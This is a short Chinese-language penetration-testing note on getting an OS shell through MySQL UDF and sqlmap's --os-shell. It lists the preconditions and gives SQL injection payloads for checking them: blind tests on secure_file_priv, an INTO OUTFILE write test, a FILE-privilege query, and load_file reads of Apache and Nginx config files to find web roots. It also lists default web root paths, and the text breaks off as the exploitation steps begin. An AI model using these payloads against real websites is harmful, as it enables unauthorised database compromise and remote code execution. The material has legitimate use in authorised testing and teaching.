MySQL getshell
UDF (–os-shell) 利用条件 数据库为DBA,可以使用sqlmap的--is-dba查看当前网站连接的数据库账户是否是管理员 secure_file_priv没有具体值 查找: 1. --sql-shell 1. 进入数据库后: SHOW VARS LIKE 'secure_file_priv'; 2. 盲注:使用length()函数推测: ?id=1 AND (SELECT @@secure_file_priv) IS NULL 返回正常则null,无法写入 页面异常则,则不是null 判断是否为空: ?id=1 AND length(@@secure_file_priv) = 0 页面正常则为空 3. 尝试写入文件: ?id=1 INTO OUTFILE '/var/www/html/test.txt' -- 根据报错信息判断 4.权限检查: ?id=1 AND (SELECT user_privileges FROM information_schema.user_privileges WHERE privilege_type='FILE' AND grantee=CONCAT("'", (SELECT CURRENT_USER()), "'")) IS NOT NULL 即使secure_file_priv为空,用户没有FILE权限,也无法写入 或者 AND (SELECT 1 FROM mysql.user LIMIT 1),如果能访问 mysql 库,通常意味着是高权限。 知道网站的绝对路径 查找: 1. 注入报错信息 2. 利用内部函数和元数据: Apache (Ubuntu): UNION SELECT 1, load_file('/etc/apache2/sites-enabled/000-default.conf'), 3 Nginx: UNION SELECT 1, load_file('/etc/nginx/nginx.conf'), 3 Windows (IIS): C:\Windows\System32\inetsrv\config\applicationHost.config 3.常见的默认路径: Linux (Apache) /var/www/html/, /var/www/www.example.com/ Linux (Nginx) /usr/share/nginx/html/, /var/www/html/ Windows (IIS) C:\inetpub\wwwroot\ Windows (XAMPP) C:\xampp\htdocs\ Windows (phpStudy) D:\phpstudy_pro\WWW\, C:\phpStudy\WWW\ 漏洞复现 方法一: –os-shell ...